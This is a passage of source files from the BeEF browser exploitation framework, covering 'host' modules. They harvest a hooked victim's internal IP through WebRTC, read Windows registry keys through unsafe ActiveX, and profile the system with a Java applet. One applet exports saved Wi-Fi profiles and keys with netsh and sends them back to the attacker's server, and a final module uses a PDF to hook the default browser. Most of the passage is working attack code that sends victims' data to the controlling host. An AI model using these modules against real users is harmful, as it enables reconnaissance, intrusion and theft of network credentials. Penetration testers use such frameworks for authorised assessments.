              // There may be multiple local IP addresses\n                beef.debug(\"a=\"+evt.candidate.candidate);\n                grepSDP(\"a=\"+evt.candidate.candidate);\n              } else {\n                // No more candidates: return results.\n                retResults();\n              };\n          };\n\n          // Create an SDP offer\n          rtc.createOffer(function (offerDesc) {\n              grepSDP(offerDesc.sdp);\n              rtc.setLocalDescription(offerDesc);\n              retResults();\n          }, function (e) {\n              beef.debug(\"SDP Offer Failed\");\n              beef.net.send('<%= @command_url %>', <%= @command_id %>, \"SDP Offer Failed\", beef.are.status_error());\n          });\n        };\n\n        function retResults(){\n            var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });\n\n            // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way\n            get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(\",\")];\n        }\n\n        // Return results\n        function processIPs(newAddr) {\n            if (newAddr in addrs) return;\n            else addrs[newAddr] = true;\n            var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });\n            beef.debug(\"Found IPs: \"+ displayAddrs.join(\",\"));\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, \"IP is \" + displayAddrs.join(\",\"), beef.are.status_success());\n        }\n\n\n        // Retrieve IP addresses from SDP \n        function grepSDP(sdp) {\n            var hosts = [];\n            sdp.split('\\r\\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39\n                if (~line.indexOf(\"a=candidate\")) {     // http://tools.ietf.org/html/rfc4566#section-5.13\n                    var parts = line.split(' '),        // http://tools.ietf.org/html/rfc5245#section-15.1\n                        addr = parts[4],\n                        type = parts[7];\n                    if (type === 'host') processIPs(addr);\n                } else if (~line.indexOf(\"c=\")) {       // http://tools.ietf.org/html/rfc4566#section-5.7\n                    var parts = line.split(' '),\n                        addr = parts[2];\n                    processIPs(addr);\n                }\n            });\n        }\n    }else {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, \"Browser doesn't appear to support RTCPeerConnection\", beef.are.status_error());\n    }\n});\n"
  },
  {
    "path": "modules/host/get_internal_ip_webrtc/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_internal_ip_webrtc:\n            enable: true\n            category: \"Host\"\n            name: \"Get Internal IP WebRTC\"\n            description: \"Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>\"\n            authors: [\"skylined\", \"xntrik\", \"@natevw\"]\n            target:\n                 working: [\"C\", \"FF\"]\n                 not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/get_internal_ip_webrtc/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_internal_ip_webrtc < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    return unless @datastore['results'] =~ /IP is ([\\d.,]+)/\n\n    # save the network host\n    ips = Regexp.last_match(1).to_s.split(/,/)\n    session_id = @datastore['beefhook']\n    if !ips.nil? && !ips.empty?\n      os = BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')\n      ips.uniq.each do |ip|\n        next unless ip =~ /^[\\d.]+$/\n        next if ip =~ /^0\\.0\\.0\\.0$/\n        next unless BeEF::Filters.is_valid_ip?(ip)\n\n        print_debug(\"Hooked browser has network interface #{ip}\")\n        BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, os: os)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/host/get_registry_keys/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar internal_counter = 0;\n\tvar timeout = 30;\n\tvar result;\n\tvar key_paths;\n\n\tfunction waituntilok() {\n\t\ttry {\n\t\t\tvar wsh = new ActiveXObject(\"WScript.Shell\");\n\t\t\tif (!wsh) throw(\"failed to create registry object\");\n\t\t\telse {\n\t\t\t\tfor (var i=0; i<key_paths.length; i++) {\n\t\t\t\t\tvar key_path = key_paths[i];\n\t\t\t\t\tif (!key_path) continue;\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar key_value = wsh.RegRead(key_path);\n\t\t\t\t\t\tresult = key_path+\": \"+key_value;\n\t\t\t\t\t} catch (e) {\n\t\t\t\t\t\tresult = key_path+\": failed to retrieve key value\";\n\t\t\t\t\t}\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn;\n\t\t} catch (e) {\n\t\t\tinternal_counter++;\n\t\t\tif (internal_counter > timeout) {\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsetTimeout(function() {waituntilok()},1000);\n\t\t}\n\t}\n\n\ttry {\n\t\tkey_paths = \"<%= @key_paths.gsub!(/[\\n|\\r\\n]+/, \"|BEEFDELIMITER|\").gsub!(/\\\\/, \"\\\\\\\\\\\\\") %>\".split(/\\|BEEFDELIMITER\\|/);\n\t\tsetTimeout(function() {waituntilok()},5000);\n\t} catch (e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=malformed registry keys were supplied');\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/host/get_registry_keys/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_registry_keys:\n            enable: true\n            category: \"Host\"\n            name: \"Get Registry Keys\"\n            description: \"Retrieves the values of Windows Registry keys using an (unsafe) ActiveX control. Internet Explorer does NOT allow scripting of unsafe ActiveX controls in the Internet zone by default.<br /><br />Note: Each registry key must be placed on a new line.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/get_registry_keys/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_registry_keys < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'key_paths', 'ui_label' => 'Key(s)', 'description' => 'Enter registry keys. Note: each key requires its own line', 'type' => 'textarea', 'width' => '500px', 'height' => '350px', 'value' => 'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\\\\SystemProductName\nHKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\\\\SystemManufacturer\nHKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\\\\BIOSVersion\nHKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\\\\BIOSReleaseDate\nHKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\ComputerName\\\\ComputerName\\\\ComputerName\nHKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\ComputerName\\\\ActiveComputerName\\\\ComputerName\nHKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\RegisteredOwner\nHKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\RegisteredOrganization\nHKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\ProductName\nHKLM\\\\HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\\\\ProcessorNameString\nHKLM\\\\HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\\\\Identifier' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['key_values'] unless @datastore['key_values'].nil?\n    content['fail'] = 'No data was returned.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/get_system_info_java/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var internal_counter = 0;\n  var timeout = 30;\n  var output;\n\n  beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...');\n  beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+\"://\"+beef.net.host+\":\"+beef.net.port+\"/\", null, null);\n\n  function waituntilok() {\n    beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...');\n\n    try {\n      output = document.getSystemInfo.getInfo();\n      if (output) {\n        beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);\n         beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\\n/g,\"<br>\"), beef.are.status_success());\n        beef.dom.detachApplet('getSystemInfo');\n        return;\n      }\n    } catch (e) {\n      internal_counter = internal_counter + 5;\n      if (internal_counter > timeout) {\n        beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());\n        beef.dom.detachApplet('getSystemInfo');\n        return;\n      }\n      setTimeout(function() {waituntilok()}, 5000);\n    }\n  }\n\n  setTimeout(function() {waituntilok()}, 5000);\n});\n\n"
  },
  {
    "path": "modules/host/get_system_info_java/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_system_info_java:\n            enable: true\n            category: \"Host\"\n            name: \"Get System Info (Java)\"\n            description: \"This module will retrieve basic information about the host system using an unsigned Java Applet. <br/><br/>The details will include:<br/> <ul><li> - Operating system details</li><li> - Java VM details</li><li> - NIC names and IP</li><li> - Number of processors</li><li> - Amount of memory</li><li> - Screen display modes</li></ul>\"\n            authors: [\"bcoles\", \"antisnatchor\"]\n            target:\n                not_working:\n                    ALL:\n                        os: [\"iOS\", \"Macintosh\"]\n                user_notify: [\"C\", \"O\", \"FF\", \"S\", \"IE\"]\n"
  },
  {
    "path": "modules/host/get_system_info_java/getSystemInfo.java",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nimport java.applet.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class getSystemInfo extends Applet {\n\n\tpublic getSystemInfo() {\n\t\tsuper();\n\t\treturn;\n\t}\n\n\tpublic static String getInfo() {\n\n\t\tString result = \"\";\n\n\t\t// -- Processor -- //\n\t\ttry {\n\t\t\t// System.out.println(\"Available processors (cores): \"+Integer.toString(Runtime.getRuntime().availableProcessors()));\n\t\t\tresult += \"Available processors (cores): \"+Integer.toString(Runtime.getRuntime().availableProcessors())+\"\\n\";\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering processor info: \"+exception;\n\t\t\tresult += \"Exception while gathering processor info\\n\";\n\t\t}\n\n\t\t// -- Memory -- //\n\t\ttry {\n\t\t\tlong maximumMemory = Runtime.getRuntime().maxMemory();\n\t\t\t// System.out.println(\"Maximum memory (bytes): \" + (maximumMemory == Long.MAX_VALUE ? \"No maximum\" : maximumMemory));\n\t\t\tresult += \"Maximum memory (bytes): \" + (maximumMemory == Long.MAX_VALUE ? \"No maximum\" : maximumMemory)+\"\\n\";\n\t\t\t// System.out.println(\"Free memory (bytes): \" + Runtime.getRuntime().freeMemory());\n\t\t\tresult += \"Free memory (bytes): \" + Runtime.getRuntime().freeMemory()+\"\\n\";\n\t\t\t// System.out.println(\"Total memory (bytes): \" + Runtime.getRuntime().totalMemory());\n\t\t\tresult += \"Total memory (bytes): \" + Runtime.getRuntime().totalMemory()+\"\\n\";\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering memory info: \"+exception;\n\t\t\tresult += \"Exception while gathering memory info\\n\";\n\t\t}\n\n\t\t// -- Displays -- //\n\t\ttry {\n\t\t\tGraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();\n\t\t\t// System.out.println(\"Default Screen: \"+ge.getDefaultScreenDevice().getIDstring());\n\t\t\tresult += \"Default Screen: \"+ge.getDefaultScreenDevice().getIDstring()+\"\\n\";\n\t\t\tGraphicsDevice[] gs = ge.getScreenDevices();\n\t\t\tfor (int i=0; i<gs.length; i++) {\n\t\t\t\tDisplayMode dm = gs[i].getDisplayMode();\n\t\t\t\t// System.out.println(gs[i].getIDstring()+\" Mode: \"+Integer.toString(dm.getWidth())+\"x\"+Integer.toString(dm.getHeight())+\" \"+Integer.toString(dm.getBitDepth())+\"bit @ \"+Integer.toString(dm.getRefreshRate())+\"Hertz\");\n\t\t\t\tresult += gs[i].getIDstring()+\" Mode: \"+Integer.toString(dm.getWidth())+\"x\"+Integer.toString(dm.getHeight())+\" \"+Integer.toString(dm.getBitDepth())+\"bit @ \"+Integer.toString(dm.getRefreshRate())+\"Hertz\"+\"\\n\";\n\t\t\t}\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering display info: \"+exception;\n\t\t\tresult += \"Exception while gathering display info\\n\";\n\t\t}\n\n\t\t// -- OS -- //\n\t\ttry {\n\t\t\t// System.out.println(\"OS Name: \"+System.getProperty(\"os.name\"));\n\t\t\tresult += \"OS Name: \"+System.getProperty(\"os.name\")+\"\\n\";\n\t\t\t// System.out.println(\"OS Version: \"+System.getProperty(\"os.version\"));\n\t\t\tresult += \"OS Version: \"+System.getProperty(\"os.version\")+\"\\n\";\n\t\t\t// System.out.println(\"OS Architecture: \"+System.getProperty(\"os.arch\"));\n\t\t\tresult += \"OS Architecture: \"+System.getProperty(\"os.arch\")+\"\\n\";\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering OS info: \"+exception;\n\t\t\tresult += \"Exception while gathering OS info\\n\";\n\t\t}\n\n\t\t// -- Browser -- //\n\t\ttry {\n\t\t\t// System.out.println(\"Browser Name: \"+System.getProperty(\"browser\"));\n\t\t\tresult += \"Browser Name: \"+System.getProperty(\"browser\")+\"\\n\";\n\t\t\t// System.out.println(\"Browser Version: \"+System.getProperty(\"browser.version\"));\n\t\t\tresult += \"Browser Version: \"+System.getProperty(\"browser.version\")+\"\\n\";\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering browser info: \"+exception;\n\t\t\tresult += \"Exception while gathering browser info\\n\";\n\t\t}\n\n\t\t// -- Java -- //\n\t\ttry {\n\t\t\t// System.out.println(\"Java Vendor: \"+System.getProperty(\"java.vendor\"));\n\t\t\tresult += \"Java Vendor: \"+System.getProperty(\"java.vendor\")+\"\\n\";\n\t\t\t// System.out.println(\"Java Version: \"+System.getProperty(\"java.version\"));\n\t\t\tresult += \"Java Version: \"+System.getProperty(\"java.version\")+\"\\n\";\n\t\t\t// System.out.println(\"Java Specification Version: \"+System.getProperty(\"java.specification.version\"));\n\t\t\tresult += \"Java Specification Version: \"+System.getProperty(\"java.specification.version\")+\"\\n\";\n\t\t\t// System.out.println(\"Java VM Version: \"+System.getProperty(\"java.vm.version\"));\n\t\t\tresult += \"Java VM Version: \"+System.getProperty(\"java.vm.version\")+\"\\n\";\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering java info: \"+exception;\n\t\t\tresult += \"Exception while gathering java info\\n\";\n\t\t}\n\n\t\t// -- Network -- //\n\t\ttry {\n\t\t\t// System.out.println(\"Host Name: \" + InetAddress.getLocalHost().getHostName());\n\t\t\tresult += \"Host Name: \" + java.net.InetAddress.getLocalHost().getHostName()+\"\\n\";\n\t\t\t// System.out.println(\"Host Address: \" + InetAddress.getLocalHost().getHostAddress());\n\t\t\tresult += \"Host Address: \" + java.net.InetAddress.getLocalHost().getHostAddress()+\"\\n\";\n\t\t\t// System.out.println(\"Network Interfaces:\");\n\t\t\tresult += \"Network Interfaces (interface, name, IP):\\n\";\n\t\t\tEnumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();\n\t\t\twhile (networkInterfaces.hasMoreElements()) {\n\t\t\t\tNetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();\n\t\t\t\tresult += networkInterface.getName() + \", \";\n                result += networkInterface.getDisplayName()+ \", \";\n                Enumeration inetAddresses = (networkInterface.getInetAddresses());\n                if(inetAddresses.hasMoreElements()){\n                   while (inetAddresses.hasMoreElements()) {\n                    InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();\n                    result +=inetAddress.getHostAddress() + \"\\n\";\n                   }\n                }else{\n                   result += \"\\n\"; // in case we can't retrieve the address of some network interfaces\n                }\n\t\t\t}\n\t\t}\n\t\tcatch (Exception exception) {\n\t\t\t//result += \"Exception while gathering network info: \"+exception;\n\t\t\tresult += \"Exception while gathering network info\\n\";\n\t\t}\n\n\t\treturn result;\n\n  }\n\n}\n\n\n\n/*\n        if (beef.browser.isFF()) {\n                var internal_ip = beef.net.local.getLocalAddress();\n                var internal_hostname = beef.net.local.getLocalHostname();\n\n                if(internal_ip && internal_hostname) {\n                        beef.net.send('<%= @command_url %>', <%= @command_id %>,\n                                'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);\n                }\n        } else {\n                //Trying to insert the Beeffeine applet\n                content = \"<APPLET code='Beeffeine' codebase='\"+beef.net.httpproto+\"://\"+beef.net.host+\":\"+beef.net.port+\"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>\";\n                $j('body').append(content);\n                internal_counter = 0;\n                //We have to kick off a loop now, because the user has to accept the running of the applet perhaps\n\n*/\n"
  },
  {
    "path": "modules/host/get_system_info_java/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_system_info_java < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info_java/getSystemInfo.class', '/getSystemInfo', 'class')\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['system_info'] unless @datastore['system_info'].nil?\n    content['fail'] = 'No data was returned.' if content.empty?\n    save content\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class')\n  end\nend\n"
  },
  {
    "path": "modules/host/get_wireless_keys/command.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nbeef.execute(function() {\n    var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/wirelessZeroConfig.jar';\n    var applet_id = '<%= @applet_id %>';\n    var applet_name = '<%= @applet_name %>';\n    var output;\n    beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'wirelessZeroConfig' ,\n       \tnull, applet_archive, null);\n    output = document.Microsoft_Corporation.getInfo();\n    if (output) {\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+output);\n    }\n    beef.dom.detachApplet('wirelessZeroConfig');\n});\n\n\n"
  },
  {
    "path": "modules/host/get_wireless_keys/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nbeef:\n    module:\n        get_wireless_keys:\n            enable: true\n            category: \"Host\"\n            name: \"Get Wireless Keys\"\n            description: \"This module will retrieve the wireless profiles from the target system (Windows Vista and Windows 7 only).<br/><br/>You will need to copy the results to 'exported_wlan_profiles.xml' and then reimport back into your Windows Vista/7 computers by running the command:<br/>netsh wlan add profile filename=\\\"exported_wlan_profiles.xml\\\".<br/><br/>After that, just launch and connect to the wireless network without any password prompt.<br/><br/>For more information, refer to http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html\"\n            authors: [\"keith_lee @keith55 http://milo2012.wordpress.com\"]\n            target:\n                user_notify: [\"IE\", \"C\", \"S\", \"O\", \"FF\"]\n"
  },
  {
    "path": "modules/host/get_wireless_keys/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_wireless_keys < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_wireless_keys/wirelessZeroConfig.jar', '/wirelessZeroConfig', 'jar')\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'].to_s\n    save content\n    filename = \"#{$home_dir}/exported_wlan_profiles_#{ip}_-_#{timestamp}_#{@datastore['cid']}.xml\"\n    f = File.open(filename, 'w+')\n    f.write((@datastore['results']).sub('result=', ''))\n    writeToResults = {}\n    writeToResults['data'] = \"Please import #{filename} into your windows machine\"\n    BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'], @friendlyname, writeToResults, 0)\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/wirelessZeroConfig.jar')\n  end\nend\n"
  },
  {
    "path": "modules/host/get_wireless_keys/wirelessZeroConfig.java",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nimport java.io.*;  \nimport java.util.*;\nimport java.net.*;\nimport java.applet.*;\n\n// Keith Lee\n// Twitter: @keith55\n// http://milo2012.wordpress.com\n// keith.lee2012[at]gmail.com\n\npublic class wirelessZeroConfig extends Applet{  \n\tpublic static String result = \"\";\n\t\t\n\tpublic wirelessZeroConfig(){\n\t\tsuper();\n\t\treturn;\n\t}\n\tpublic static String getInfo() {\n\t\treturn result;\n\t}\n\n\tpublic void init() {\n\t\tif (isWindows()) {\n\t\t\tString osVersion= System.getProperty(\"os.version\");\n\t\t\tif(osVersion.equals(\"6.0\") || osVersion.equals(\"6.1\")){\n\t\t\t\tresult=getWindows();\n\t\t\t}\n\t\t} else {\n\t\t\tresult = \"OS is not supported\";\n\t\t}\n\t}\n\t\n\tpublic static String getWindows(){\n\t\tString cmd1 = \"netsh wlan show profiles\";\n\t\tString cmd2 = \"netsh wlan export profile name=\";\n\t\tString keyword1 = \"User profiles\";\n\t \tString wlanProfileArr[];\n\t\tString wlanProfileName;\n\t\tint match = 0;\n\t\tint count = 0;\n\t\tArrayList<String> profileList = new ArrayList<String>();\n\t\ttry {  \n\t\t\t//Get wlan profile names\n\t\t\tProcess p1 = Runtime.getRuntime().exec(cmd1);  \n\t\t\tBufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream()));  \n\t\t\tString line = null;  \n        \t\t//Checks if string match \"User profiles\"\n\t\t\twhile ((line = in1.readLine()) != null) {\n\t\t\t\t//Checks if string match \"User profiles\"\n\t\t\t\tif(match==0){\n\t\t\t\t\tif(line.toLowerCase().contains(keyword1.toLowerCase())){\n\t\t\t\t\t\tmatch=1;\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t\tif(match==1){\n\t\t\t\t\tif(count>1){\n\t\t\t\t\t\t//If string matches the keyword \"User Profiles\"\n\t\t\t\t\t\tline = (line.replaceAll(\"\\\\s+$\",\"\").replaceAll(\"^\\\\s+\", \"\"));\n\t\t\t\t\t\tif(line.length()>0){\n\t\t\t\t\t\t\twlanProfileName = (line.split(\":\")[1]).replaceAll(\"\\\\s+$\",\"\").replaceAll(\"^\\\\s+\", \"\");;\n\t\t\t\t\t\t\tprofileList.add(wlanProfileName);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcount+=1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tin1.close();\t\n\t    \t} catch (IOException e) { }\n\t\t\n\t\ttry{\t\n    \t\t\tString tmpDir = System.getProperty(\"java.io.tmpdir\");\n\t\t\tif ( !(tmpDir.endsWith(\"/\") || tmpDir.endsWith(\"\\\\\")) )\n   \t\t\t\ttmpDir = tmpDir + System.getProperty(\"file.separator\");\n\n\t\t\t//Export WLAN Profile to XML file\n\t\t\tfor(Iterator iterator = profileList.iterator(); iterator.hasNext();){\n\t\t\t\tString profileName = iterator.next().toString();\n\t\t\t\tProcess p2 = Runtime.getRuntime().exec(cmd2+'\"'+profileName+'\"');  \n\t\t\t\t//Check if exported xml exists\n\t\t\t\tFile f = new File(tmpDir+\"Wireless Network Connection-\"+profileName+\".xml\");\n\t\t\t\tif(f.exists()){\t\n\t\t\t\t\t//Read contents of XML file into results variable\n\t\t\t\t\tFileInputStream fstream = new FileInputStream(f);\n\t\t\t\t\tDataInputStream in2 = new DataInputStream(fstream);\n\t\t\t\t\tBufferedReader br = new BufferedReader(new InputStreamReader(in2));\n\t\t\t\t\tString xmlToStr;\n\t\t\t\t\twhile((xmlToStr = br.readLine()) != null){\t\t\t\n\t\t\t\t\t\tresult+=xmlToStr;\n\t\t\t\t\t}\n\t\t\t\t\tin2.close();\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t    } catch (IOException e) {  \n        }\n\t\treturn result;   \n\t}\n\n\tpublic static boolean isWindows() {\n\t\tString os = System.getProperty(\"os.name\").toLowerCase();\n\t\treturn (os.indexOf(\"win\") >= 0);\n\t}\n\t\n\t/**\n\tpublic static void main(String[] args) {\n\t\tif (isWindows()) {\n\t\t\tString osVersion= System.getProperty(\"os.version\");\n\t\t\tSystem.out.println(osVersion);\n\t\t\tif(osVersion.equals(\"6.0\") || osVersion.equals(\"6.1\")){\n\t\t\t\tresult=getWindows();\n\t\t\t}\n\t\t} else {\n\t\t\tresult = \"OS is not supported\";\n\t\t}\n\t\tSystem.out.println(result);\n\t}\n\t**/\n}  \n"
  },
  {
    "path": "modules/host/hook_default_browser/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\n\tvar pdf_url =  beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/report.pdf';\n\twindow.open( pdf_url, '_blank');\n\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, \"Attempted to open PDF in default browser.\");\n});\n"
  },
  {
    "path": "modules/host/hook_default_browser/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        hook_default_browser:\n            enable: true\n            category: \"Host\"\n            name: \"Hook Default Browser\"\n            description: \"This module will use a PDF to attempt to hook the default browser (assuming it isn't currently hooked). <br><br>Normally, this will be IE but it will also work when Chrome is set to the default. When executed, the hooked browser will load a PDF and use that to start the default browser. If successful another browser will appear in the browser tree.\"\n            authors: [\"saafan\"]\n            target:\n                not_working:\n                    ALL:\n                        os: [\"iOS\",\"Macintosh\"]\n                working: [\"All\"]\n                user_notify: [\"FF\", \"C\"]\n"
  },
  {
    "path": "modules/host/hook_default_browser/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Hook_default_browser < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html\"\n    # @todo why is this commented out?\n    [\n      # {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },\n    ]\n  end\n\n  def pre_send\n    # Get the servers configurations.\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n\n    # The hook url to be replace the token in the original pdf file.\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html\"\n\n    # A new pdf file containg the actual hook URI instead of the dummy token.\n    configured_hook_file = File.open('./modules/host/hook_default_browser/bounce_to_ie_configured.pdf', 'w')\n\n    # The original pdf file contains a token that will get replaced during the initialization with\n    # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.\n    File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file|\n      original_hook_file.each_line do |line|\n        # If the line includes the hook token, then replace it with the actual hook URI\n        line = line.sub(/<hookURI>/, hook_uri) if line.include? '<hookURI>'\n        # write the line to a new file\n        configured_hook_file.write(line)\n      end\n    end\n\n    configured_hook_file.close\n\n    # Bind the configured PDF file to the web server.\n    